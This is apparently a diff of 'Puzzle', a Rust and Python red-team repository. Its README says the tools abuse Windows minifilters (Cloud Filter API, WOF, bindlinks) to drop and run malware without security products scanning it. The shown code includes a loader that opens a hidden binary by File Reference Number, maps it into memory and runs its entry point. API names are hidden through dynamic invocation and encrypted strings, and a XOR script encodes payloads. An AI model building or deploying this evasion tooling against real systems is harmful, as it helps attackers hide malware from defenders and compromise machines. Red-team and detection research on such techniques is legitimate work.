|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
fn get_peb_address(process_handle: HANDLE) -> usize
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
// Get remote process' PEB base address
|
||||
let pi = PROCESS_BASIC_INFORMATION::default();
|
||||
let process_information: *mut c_void = std::mem::transmute(&pi);
|
||||
let ret = dinvoke_rs::dinvoke::nt_query_information_process(
|
||||
process_handle,
|
||||
0,
|
||||
process_information,
|
||||
size_of::<PROCESS_BASIC_INFORMATION>() as u32,
|
||||
ptr::null_mut());
|
||||
|
||||
if ret != 0
|
||||
{
|
||||
println!("{}",&lc!("[x] Call to NtQueryProcessInformation failed."));
|
||||
0
|
||||
} else {
|
||||
println!("{}0x{:x}",&lc!("[+] New process PEB address obtained: "), pi.PebBaseAddress as usize);
|
||||
pi.PebBaseAddress as usize
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn get_image_base_address(process_handle: HANDLE, peb_address: usize) -> usize
|
||||
{
|
||||
let mut image_base_address: usize = 0;
|
||||
let ret = dinvoke_rs::dinvoke::nt_read_virtual_memory(
|
||||
process_handle,
|
||||
(peb_address + 0x10) as *mut c_void, // PEB.ImageBaseAddress
|
||||
&mut image_base_address as *mut usize as *mut c_void,
|
||||
size_of::<usize>(),
|
||||
ptr::null_mut()
|
||||
);
|
||||
|
||||
if ret != 0 {
|
||||
println!("{}",&lc!("[x] Call to NtReadVirtualMemory failed."));
|
||||
0
|
||||
} else {
|
||||
println!("{}0x{:x}",&lc!("[+] Remote process image base address: "), image_base_address);
|
||||
image_base_address
|
||||
}
|
||||
}
|
||||
|
||||
fn get_entry_point_rva(module_base_address: usize) -> usize
|
||||
{
|
||||
let pe_info = dinvoke_rs::manualmap::get_pe_metadata(module_base_address as *mut _, false);
|
||||
if pe_info.is_err() {
|
||||
println!("{}",&lc!("[x] Failed to get PE info."));
|
||||
return 0;
|
||||
}
|
||||
|
||||
let pe_info = pe_info.unwrap();
|
||||
if pe_info.is_32_bit {
|
||||
pe_info.opt_header_32.AddressOfEntryPoint as usize
|
||||
} else {
|
||||
pe_info.opt_header_64.address_of_entry_point as usize
|
||||
}
|
||||
}
|
||||
|
||||
fn get_final_dos_path_from_handle(kernel32: usize, hfile: HANDLE) -> String
|
||||
{
|
||||
// It would be better to call GetFinalPathNameByHandleW two times to dynamically obtain the real length of the path, but im too lazy for that
|
||||
let buf_len: usize = 32768;
|
||||
let mut buf: Vec<u16> = vec![0; buf_len];
|
||||
|
||||
let res = unsafe
|
||||
{
|
||||
let function: GetFinalPathNameByHandleW;
|
||||
let ret: Option<u32>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
kernel32,
|
||||
&lc!("GetFinalPathNameByHandleW"),
|
||||
function,
|
||||
ret,
|
||||
hfile,
|
||||
buf.as_mut_ptr(),
|
||||
buf_len as _,
|
||||
0 // FILE_NAME_NORMALIZED
|
||||
);
|
||||
ret.unwrap()
|
||||
};
|
||||
|
||||
if res == 0 || (res as usize) >= buf_len {
|
||||
return String::default();
|
||||
}
|
||||
|
||||
let mut s = String::from_utf16_lossy(&buf[..res as usize]);
|
||||
|
||||
if let Some(rest) = s.strip_prefix(r"\\?\") {
|
||||
s = rest.to_string();
|
||||
} else if let Some(rest) = s.strip_prefix(r"\??\") {
|
||||
s = rest.to_string();
|
||||
}
|
||||
|
||||
s
|
||||
}
|
||||
|
||||
// Get the size of an environment block
|
||||
fn get_environment_size(env_ptr: *const u16) -> usize
|
||||
{
|
||||
|
||||
if env_ptr.is_null() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
let mut size_u16: usize = 0;
|
||||
let mut zero_count = 0;
|
||||
|
||||
loop
|
||||
{
|
||||
let ch = unsafe { *env_ptr.add(size_u16) };
|
||||
|
||||
if ch == 0 {
|
||||
zero_count += 1;
|
||||
if zero_count == 2 { // Environment Block ends two 0's in a row
|
||||
size_u16 += 1;
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
zero_count = 0;
|
||||
}
|
||||
|
||||
size_u16 += 1;
|
||||
|
||||
if size_u16 * 2 > 1024 * 1024 { // size limitation, I don't know if this is correct 100% of the time
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
size_u16 * 2 // Size in bytes
|
||||
}
|
||||
|
||||
pub fn map_and_run_entry_point(unit: &str, frn_u64: u64)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let kernel32 = dinvoke_rs::dinvoke::get_module_base_address(&lc!("kernel32.dll"));
|
||||
if kernel32 == 0 {
|
||||
println!("{}", &lc!(r"[x] kernel32.dll not found."));
|
||||
return;
|
||||
}
|
||||
|
||||
let ntdll = dinvoke_rs::dinvoke::get_module_base_address(&lc!("ntdll.dll"));
|
||||
if ntdll == 0 {
|
||||
println!("{}", &lc!(r"[x] ntdll.dll not found."));
|
||||
return;
|
||||
}
|
||||
|
||||
let volume = format!(r"\\.\{}:", unit);
|
||||
let volume_wide_str = dinvoke_rs::utils::str_to_wide_string(&volume);
|
||||
let function: CreateFileW;
|
||||
let ret: Option<HANDLE>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
kernel32,
|
||||
&lc!("CreateFileW"),
|
||||
function,
|
||||
ret,
|
||||
volume_wide_str.as_ptr(),
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
ptr::null_mut(),
|
||||
3, // OPEN_EXISTING
|
||||
128, // FILE_ATTRIBUTE_NORMAL
|
||||
HANDLE::default()
|
||||
);
|
||||
|
||||
let volume_handle = ret.unwrap();
|
||||
if volume_handle.0 as isize == -1 { // INVALID_HANDLE_VALUE
|
||||
println!("{}{}.", &lc!(r"[x] Failed to open a handle to "), volume);
|
||||
return;
|
||||
}
|
||||
|
||||
let desc = FILE_ID_DESCRIPTOR {
|
||||
dwSize: std::mem::size_of::<FILE_ID_DESCRIPTOR>() as u32,
|
||||
Type: FILE_ID_TYPE(FILE_ID_TYPE_FILE_ID),
|
||||
Anonymous: FILE_ID_DESCRIPTOR_0 { FileId: frn_u64 as i64 },
|
||||
};
|
||||
|
||||
let function: OpenFileById;
|
||||
let ret: Option<HANDLE>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
kernel32,
|
||||
&lc!("OpenFileById"), // Easier than using NtCreateFile
|
||||
function,
|
||||
ret,
|
||||
volume_handle,
|
||||
&desc as *const FILE_ID_DESCRIPTOR,
|
||||
GENERIC_READ | GENERIC_EXECUTE,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
||||
ptr::null(),
|
||||
0
|
||||
);
|
||||
|
||||
let file_handle = ret.unwrap();
|
||||
if file_handle.0 as isize == -1 {
|
||||
println!("{}0x{:x}.", &lc!(r"[x] Failed to open file by FRN "), frn_u64);
|
||||
dinvoke_rs::dinvoke::close_handle(volume_handle);
|
||||
return;
|
||||
}
|
||||
|
||||
println!("{}0x{:x}{}{}'.", &lc!(r"[+] Successfully opened handle to file by FRN '"), frn_u64, &lc!(r"' on volume '"), volume);
|
||||
|
||||
let returned_data = dinvoke_rs::manualmap::map_file_to_section_from_handle(file_handle);
|
||||
if returned_data.is_err() {
|
||||
println!("{}{}.", &lc!(r"[x] Failed to map the file to the current process. Error received: "), returned_data.err().unwrap());
|
||||
dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
dinvoke_rs::dinvoke::close_handle(volume_handle);
|
||||
return;
|
||||
}
|
||||
|
||||
use std::io::{stdin, stdout, Write};
|
||||
let mut s= String::new();
|
||||
print!("{}", &lc!("[+] File mapped to the current process. Press any key to run the entry point..."));
|
||||
let _=stdout().flush();
|
||||
stdin().read_line(&mut s).unwrap();
|
||||
|
||||
let section_data = returned_data.unwrap();
|
||||
let _ret = dinvoke_rs::dinvoke::call_module_entry_point(section_data.pe_info, section_data.base_address);
|
||||
|
||||
let mut s= String::new();
|
||||
print!("{}", &lc!("[-] Press any key to exit..."));
|
||||
let _=stdout().flush();
|
||||
stdin().read_line(&mut s).unwrap();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
[package]
|
||||
name = "data"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
windows-core = "0.62.2"
|
||||
dinvoke_rs = "=0.2.1"
|
||||
|
||||
[dependencies.windows]
|
||||
version = "=0.62"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Storage",
|
||||
"Win32_Storage_FileSystem",
|
||||
"Win32_Security"
|
||||
]
|
||||
@@ -0,0 +1,72 @@
|
||||
use std::ffi::c_void;
|
||||
use dinvoke_rs::data::PVOID;
|
||||
use windows::{Wdk::Foundation::OBJECT_ATTRIBUTES, Win32::{Foundation::{HANDLE, UNICODE_STRING}, Security::SECURITY_ATTRIBUTES, Storage::FileSystem::FILE_ID_DESCRIPTOR}};
|
||||
|
||||
pub const FILE_ID_TYPE_FILE_ID: i32 = 0;
|
||||
pub const PROCESS_ALL_ACCESS: u32 = 0x1FFFFF;
|
||||
pub const RTL_USER_PROCESS_PARAMETERS_NORMALIZED: u32 = 1;
|
||||
pub const HANDLE_CREATE_NEW_CONSOLE: isize = -2;
|
||||
|
||||
pub type OpenFileById = unsafe extern "system" fn(HANDLE, *const FILE_ID_DESCRIPTOR, u32, u32, *const SECURITY_ATTRIBUTES, u32) -> HANDLE;
|
||||
pub type NtCreateProcessEx = unsafe extern "system" fn (*mut HANDLE, u32, *mut OBJECT_ATTRIBUTES, HANDLE, u32, HANDLE, HANDLE, HANDLE, u32) -> i32;
|
||||
pub type GetFinalPathNameByHandleW = unsafe extern "system" fn (HANDLE, *mut u16, u32, u32) -> u32;
|
||||
pub type CreateEnvironmentBlock = unsafe extern "system" fn (*mut PVOID, HANDLE, bool) -> bool;
|
||||
pub type RtlCreateProcessParametersEx = unsafe extern "system" fn (*mut *mut RtlUserProcessParameters, *mut UNICODE_STRING, *mut UNICODE_STRING, *mut UNICODE_STRING,
|
||||
*mut UNICODE_STRING, PVOID, *mut UNICODE_STRING, *mut UNICODE_STRING, *mut UNICODE_STRING, *mut UNICODE_STRING, u32) -> i32;
|
||||
|
||||
#[derive(Clone, Copy)]
|
||||
#[repr(C)]
|
||||
pub struct RtlUserProcessParameters {
|
||||
pub maximum_length: u32,
|
||||
pub length: u32,
|
||||
pub flags: u32,
|
||||
pub debug_flags: u32,
|
||||
pub console_handle: HANDLE,
|
||||
pub console_flags: u32,
|
||||
pub standard_input: HANDLE,
|
||||
pub standard_output: HANDLE,
|
||||
pub standard_error: HANDLE,
|
||||
pub current_directory: CURDIR,
|
||||
pub dll_path: UNICODE_STRING,
|
||||
pub image_path_name: UNICODE_STRING,
|
||||
pub command_line: UNICODE_STRING,
|
||||
pub environment: PVOID,
|
||||
pub starting_x: u32,
|
||||
pub starting_y: u32,
|
||||
pub count_x: u32,
|
||||
pub count_y: u32,
|
||||
pub count_chars_x: u32,
|
||||
pub count_chars_y: u32,
|
||||
pub fill_attribute: u32,
|
||||
pub window_flags: u32,
|
||||
pub show_window_flags: u32,
|
||||
pub window_title: UNICODE_STRING,
|
||||
pub desktop_info: UNICODE_STRING,
|
||||
pub shell_info: UNICODE_STRING,
|
||||
pub runtime_data: UNICODE_STRING,
|
||||
pub current_directories: [RtlDriveLetterCurdir; 32],
|
||||
pub environment_size: usize,
|
||||
pub environment_version: usize,
|
||||
pub package_dependency_data: PVOID,
|
||||
pub process_group_id: u32,
|
||||
pub loader_threads: u32,
|
||||
pub redirection_dll_name: UNICODE_STRING,
|
||||
pub heap_partition_name: UNICODE_STRING,
|
||||
pub default_threadpool_cpu_set_masks: *mut c_void,
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy)]
|
||||
#[repr(C)]
|
||||
pub struct CURDIR {
|
||||
pub dos_path: UNICODE_STRING,
|
||||
pub handle: HANDLE,
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy)]
|
||||
#[repr(C)]
|
||||
pub struct RtlDriveLetterCurdir {
|
||||
pub flags: u16,
|
||||
pub length: u16,
|
||||
pub time_stamp: u32,
|
||||
pub dos_path: UNICODE_STRING, // I'm not sure whether this is a UNICODE_STRING but the struct seems to have same size
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
use std::io::{self, Write};
|
||||
use creator::{spawn_process, map_and_run_entry_point};
|
||||
use litcrypt2::{use_litcrypt, lc};
|
||||
use_litcrypt!();
|
||||
|
||||
fn main()
|
||||
{
|
||||
let (mode, drive_str, hex_str) = ask_user_input();
|
||||
let hex = hex_str.trim().trim_start_matches("0x").trim_start_matches("0X");
|
||||
let frn_u64 = u64::from_str_radix(hex, 16).unwrap_or_else(|_| {
|
||||
eprintln!("{}", &lc!("Invalid hex for FRN."));
|
||||
std::process::exit(1);
|
||||
});
|
||||
|
||||
match mode.as_str() {
|
||||
"spawn" => {
|
||||
spawn_process(&drive_str, frn_u64);
|
||||
}
|
||||
"load" => {
|
||||
map_and_run_entry_point(&drive_str, frn_u64);
|
||||
}
|
||||
_ => {
|
||||
println!("{}", &lc!("[x] Unknown mode. Only 'spawn' and 'load' are allowed."))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn ask_user_input() -> (String, String, String)
|
||||
{
|
||||
let mut s1 = String::new();
|
||||
let mut s2 = String::new();
|
||||
let mut s3 = String::new();
|
||||
|
||||
print!("{}", &lc!("Select mode (spawn/load): "));
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin().read_line(&mut s1).unwrap();
|
||||
|
||||
print!("{}", &lc!("Select volume (e.g. 'C'): "));
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin().read_line(&mut s2).unwrap();
|
||||
|
||||
print!("{}", &lc!("Insert FRN: "));
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin().read_line(&mut s3).unwrap();
|
||||
|
||||
(
|
||||
s1.trim().to_string().to_lowercase(),
|
||||
s2.trim().to_string(),
|
||||
s3.trim().to_string(),
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
# Puzzle
|
||||
|
||||
Puzzle is a set of PoCs and utilities that make it possible to abuse functionality provided by several Windows minifilters when executing malware in monitored environments. The main concept of this repository is to demonstrate how, by abusing the Windows minifilter architecture and the different load altitudes of these devices, we can achieve a certain level of stealth and concealment as attackers when dropping and executing malware during a Red Team exercise.
|
||||
|
||||
The different "puzzle pieces" available in this repository are described below:
|
||||
|
||||
- **SyncProvider**: Project that abuses the [Cloud Filter API](https://learn.microsoft.com/en-us/windows/win32/api/_cloudapi/) functionality provided by the `CldFlt` minifilter to write malware to disk without it being statically analyzed.
|
||||
- **WOFProvider**: Solution that uses the [wofapi](https://learn.microsoft.com/en-us/windows/win32/api/wofapi/) functionality provided by the `Wof` minifilter to designate a WIM file as an external data source. It provides functionality similar to **SyncProvider**.
|
||||
- **BindLinks**: Solution that allows creating and removing `bindlinks`, functionality provided by the `bindflt` minifilter. It adds a concealment layer to make malware harder to analyze at runtime.
|
||||
- **IdMapper**: Solution that makes it easier to load and execute binaries hidden behind a `bindlink` through their FRN (File Reference Number).
|
||||
- **Scripts**: Folder that provides Python scripts with utilities to execute the techniques described in this repository.
|
||||
- **Utils**: Rust solution that provides utilities complementary to those provided in the **Scripts** folder.
|
||||
|
||||
The three main projects (**SyncProvider**, **BindLinks**, and **WOFProvider**) have their own documentation in addition to this general repository description. It is strongly recommended to read those three README files beforehand, in that same order, to understand the full concept behind this repository and the recommended way to combine the different solutions present here.
|
||||
|
||||
The code in this repository has been tested on Windows 10 and 11, as well as the corresponding versions of Windows Server. The three minifilters mentioned should be present in virtually all builds, but you can always verify their presence using the `fltmc` command.
|
||||
|
||||
## Build
|
||||
|
||||
The repository provides two build scripts: `build.cmd` and `build.ps1`. Both scripts compile all Rust solutions at once through the `cargo` utility (the Rust environment must be installed on the machine beforehand). The compiled binaries are stored in a `bin` folder at the repository root:
|
||||
|
||||
```
|
||||
C:\Path\To\Puzzle> build.cmd clean # Clean all previous builds, if any
|
||||
C:\Path\To\Puzzle> build.cmd build release # Build all Rust solutions in release mode
|
||||
```
|
||||
|
||||
## SyncProvider
|
||||
|
||||
`Admin required: No`
|
||||
|
||||
**SyncProvider** is a malicious sync engine that uses the `Cloud Filter API` to drop malware to disk. This solution allows writing malware to disk without it being statically analyzed and, in some cases, also makes it possible to evade part of the dynamic analysis performed by some endpoint security solutions when executing the payload.
|
||||
|
||||
For details about how the tool works and how it is considered it should be used, first see the README for [this solution](SyncProvider/README.md), and then the documentation for the [BindLinks](BindLinks/README.md) project.
|
||||
|
||||
## BindLinks
|
||||
|
||||
`Admin required: Yes`
|
||||
|
||||
This project allows creating and removing `bindlinks`. As documented in the [solution README](BindLinks/README.md), we can use this functionality to add an additional concealment layer to our malware, allowing it to go unnoticed during execution and preventing its content from being scanned.
|
||||
|
||||
The use of this solution is recommended regardless of whether we use **SyncProvider** or **WOFProvider** to write the malware to disk, adding an additional concealment layer.
|
||||
|
||||
## WOFProvider
|
||||
|
||||
`Admin required: Yes`
|
||||
|
||||
This solution uses `wofapi` to set a WIM file as an external data source, thereby allowing malware to be dropped to disk without being statically analyzed. To execute the payload dropped through [this method](WOFProvider/README.md), it is essential to establish a `bindlink` that allows hiding it at runtime.
|
||||
|
||||
## Links
|
||||
|
||||
- https://www.elastic.co/security-labs/immutable-illusion
|
||||
- https://github.com/bitdefender/bindutil-toolset
|
||||
- https://www.microsoft.com/en-us/download/details.aspx?id=13096
|
||||
- https://www.microsoft.com/en-us/security/blog/2022/06/30/using-process-creation-properties-to-catch-evasion-techniques/
|
||||
- https://learn.microsoft.com/en-us/windows/win32/api/_cloudapi/
|
||||
- https://learn.microsoft.com/en-us/windows/win32/api/bindlink/
|
||||
- https://learn.microsoft.com/en-us/windows/win32/api/wofapi/
|
||||
@@ -0,0 +1,15 @@
|
||||
# Scripts
|
||||
|
||||
This folder contains small Python utilities used by the techniques documented in the repository.
|
||||
|
||||
## Scripts
|
||||
|
||||
- `get_wim_hash.py`: Prints the GUID of a WIM file and the `SHA-1` hash of a file stored inside one of its images. It uses `wimlib-imagex dir`, so `wimlib-imagex` must be available.
|
||||
- `xor_file.py`: Applies a repeating-key XOR operation to an input file and writes the result to an output file.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
python3 get_wim_hash.py <wim_path> <image> <internal_path>
|
||||
python xor_file.py <input.bin> <key> <output.bin>
|
||||
```
|
||||
@@ -0,0 +1,147 @@
|
||||
#!/usr/bin/env python3
|
||||
import subprocess
|
||||
import sys
|
||||
import os
|
||||
import re
|
||||
import uuid
|
||||
|
||||
|
||||
# Change this if the binary is not named "wimlib-imagex"
|
||||
WIMLIB_EXE = "wimlib-imagex"
|
||||
|
||||
WIM_MAGIC = b"MSWIM\x00\x00\x00"
|
||||
WIM_GUID_OFFSET = 0x18
|
||||
WIM_GUID_SIZE = 16
|
||||
|
||||
|
||||
def get_wim_guid(wim_path):
|
||||
"""
|
||||
Returns the GUID of the WIM (canonical string) read from the header.
|
||||
"""
|
||||
if not os.path.exists(wim_path):
|
||||
raise FileNotFoundError(f"WIM not found: {wim_path}")
|
||||
|
||||
with open(wim_path, "rb") as f:
|
||||
hdr = f.read(208)
|
||||
|
||||
if len(hdr) < 208:
|
||||
raise RuntimeError("File too small to be a WIM (incomplete header).")
|
||||
|
||||
if hdr[:8] != WIM_MAGIC:
|
||||
raise RuntimeError("Does not appear to be a WIM: magic != MSWIM\\0\\0\\0.")
|
||||
guid_le = hdr[WIM_GUID_OFFSET:WIM_GUID_OFFSET + WIM_GUID_SIZE]
|
||||
if len(guid_le) != 16:
|
||||
raise RuntimeError("Could not read GUID from header (unexpected offset/size).")
|
||||
|
||||
return str(uuid.UUID(bytes_le=guid_le))
|
||||
|
||||
|
||||
def get_wim_file_sha1(wim_path, image, internal_path, wimlib_exe=WIMLIB_EXE):
|
||||
"""
|
||||
Returns the SHA-1 (40 hex) of the file `internal_path` inside the
|
||||
image `image` of the WIM `wim_path`, using 'wimlib-imagex dir'.
|
||||
|
||||
Parameters:
|
||||
wim_path -> path to the .wim file (str)
|
||||
image -> index (int) or image name (str)
|
||||
internal_path-> path inside the WIM, for example:
|
||||
'Windows/System32/notepad.exe' or 'hola.txt'
|
||||
"""
|
||||
if not os.path.exists(wim_path):
|
||||
raise FileNotFoundError(f"WIM not found: {wim_path}")
|
||||
|
||||
# Normalize internal path to POSIX format used by wimlib
|
||||
# 'Windows\\hello.txt' -> '/Windows/hello.txt'
|
||||
internal_path = internal_path.replace("\\", "/")
|
||||
if not internal_path.startswith("/"):
|
||||
internal_path = "/" + internal_path
|
||||
|
||||
image_str = str(image)
|
||||
|
||||
cmd = [
|
||||
wimlib_exe,
|
||||
"dir",
|
||||
wim_path,
|
||||
image_str,
|
||||
f"--path={internal_path}",
|
||||
"--detailed",
|
||||
"--one-file-only",
|
||||
]
|
||||
|
||||
# Run wimlib-imagex and capture output
|
||||
try:
|
||||
proc = subprocess.run(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
text=True,
|
||||
encoding="utf-8",
|
||||
errors="replace",
|
||||
)
|
||||
except FileNotFoundError:
|
||||
raise RuntimeError(
|
||||
f"'{wimlib_exe}' not found. "
|
||||
"Install wimlib (e.g., 'sudo apt install wimtools') "
|
||||
"or adjust the path in WIMLIB_EXE."
|
||||
)
|
||||
|
||||
if proc.returncode != 0:
|
||||
raise RuntimeError(
|
||||
f"wimlib-imagex dir failed (rc={proc.returncode}).\n"
|
||||
f"Command: {' '.join(cmd)}\n"
|
||||
f"STDERR:\n{proc.stderr}"
|
||||
)
|
||||
|
||||
# Search for a 40-character hex token (SHA-1) in the output
|
||||
sha1 = None
|
||||
for line in proc.stdout.splitlines():
|
||||
m = re.search(r"\b([0-9a-fA-F]{40})\b", line)
|
||||
if m:
|
||||
sha1 = m.group(1).lower()
|
||||
break
|
||||
|
||||
if not sha1:
|
||||
raise ValueError(
|
||||
"No SHA-1 found in wimlib-imagex output.\n"
|
||||
f"Output was:\n{proc.stdout}"
|
||||
)
|
||||
|
||||
return sha1
|
||||
|
||||
def main(argv=None):
|
||||
if argv is None:
|
||||
argv = sys.argv[1:]
|
||||
|
||||
if len(argv) != 3:
|
||||
print(
|
||||
"Usage:\n"
|
||||
" python3 get_wim_hash.py <wim_path> <image> <internal_path>\n\n"
|
||||
"Examples:\n"
|
||||
" python3 get_wim_hash.py /mnt/shared/file.wim 1 hello.txt\n"
|
||||
" python3 get_wim_hash.py /mnt/shared/file.wim 1 Windows/hello.txt\n"
|
||||
" python3 get_wim_hash.py /mnt/shared/file.wim 'TestWOF' hello.txt\n",
|
||||
file=sys.stderr,
|
||||
)
|
||||
sys.exit(1)
|
||||
|
||||
wim_path = argv[0]
|
||||
image = argv[1]
|
||||
internal_path = argv[2]
|
||||
|
||||
# if image is a number, use it as an index; otherwise, as a name
|
||||
try:
|
||||
image = int(image)
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
# Always print the WIM GUID
|
||||
wim_guid = get_wim_guid(wim_path)
|
||||
print(wim_guid)
|
||||
|
||||
# And then the SHA-1 of the internal file
|
||||
sha1 = get_wim_file_sha1(wim_path, image, internal_path)
|
||||
print(sha1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,30 @@
|
||||
import sys
|
||||
|
||||
def xor_bytes(data, key_bytes):
|
||||
out = bytearray(len(data))
|
||||
k = len(key_bytes)
|
||||
for i, b in enumerate(data):
|
||||
out[i] = b ^ key_bytes[i % k]
|
||||
return out
|
||||
|
||||
def main():
|
||||
if len(sys.argv) != 4:
|
||||
print("Usage: python xor_file.py <input.bin> <key> <output.bin>")
|
||||
sys.exit(1)
|
||||
|
||||
in_path, key_str, out_path = sys.argv[1], sys.argv[2], sys.argv[3]
|
||||
key = key_str.encode("utf-8")
|
||||
if not key:
|
||||
print("Empty key not allowed.")
|
||||
sys.exit(1)
|
||||
|
||||
with open(in_path, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
enc = xor_bytes(data, key)
|
||||
|
||||
with open(out_path, "wb") as f:
|
||||
f.write(enc)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1 @@
|
||||
/target
|
||||
Generated
+818
@@ -0,0 +1,818 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "addr2line"
|
||||
version = "0.25.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1b5d307320b3181d6d7954e663bd7c774a838b8220fe0593c86d9fb09f498b4b"
|
||||
dependencies = [
|
||||
"gimli",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "adler2"
|
||||
version = "2.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
|
||||
|
||||
[[package]]
|
||||
name = "android_system_properties"
|
||||
version = "0.1.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
|
||||
dependencies = [
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "backtrace"
|
||||
version = "0.3.76"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bb531853791a215d7c62a30daf0dde835f381ab5de4589cfe7c649d2cbe92bd6"
|
||||
dependencies = [
|
||||
"addr2line",
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"miniz_oxide",
|
||||
"object",
|
||||
"rustc-demangle",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "1.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "2.10.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3"
|
||||
|
||||
[[package]]
|
||||
name = "block2"
|
||||
version = "0.6.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cdeb9d870516001442e364c5220d3574d2da8dc765554b4a617230d33fa58ef5"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cc"
|
||||
version = "1.2.51"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7a0aeaff4ff1a90589618835a598e545176939b97874f7abc7851caa0618f203"
|
||||
dependencies = [
|
||||
"find-msvc-tools",
|
||||
"shlex",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||
|
||||
[[package]]
|
||||
name = "cfg_aliases"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
|
||||
|
||||
[[package]]
|
||||
name = "data"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"windows",
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "37ea4847ec0d114fae274a228e2833c86b6a648e1e63d8e4824f8694ddb72c91"
|
||||
dependencies = [
|
||||
"cc",
|
||||
"dinvoke_data",
|
||||
"libc",
|
||||
"litcrypt2",
|
||||
"nanorand",
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_data"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2ecf41e5fa8fc817a311b14a987da022bd09a048f27f039a6073241e514b6d81"
|
||||
dependencies = [
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_overload"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "502bb57c39f39fc65ae58e4351013ef4cc9d29a0be245ac3d24b3b887f026636"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"nanorand",
|
||||
"windows",
|
||||
"winproc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_rs"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ef4776f5b9e5d43bc5f897863bc9227979563a05a6cfdd05bc2a94e3cc510a7e"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"dinvoke_overload",
|
||||
"dinvoke_utils",
|
||||
"dmanager",
|
||||
"manualmap",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_utils"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "00c00029449d76f9db4104b2eb1ec122fb9127051803f567cd108e0c0d729719"
|
||||
dependencies = [
|
||||
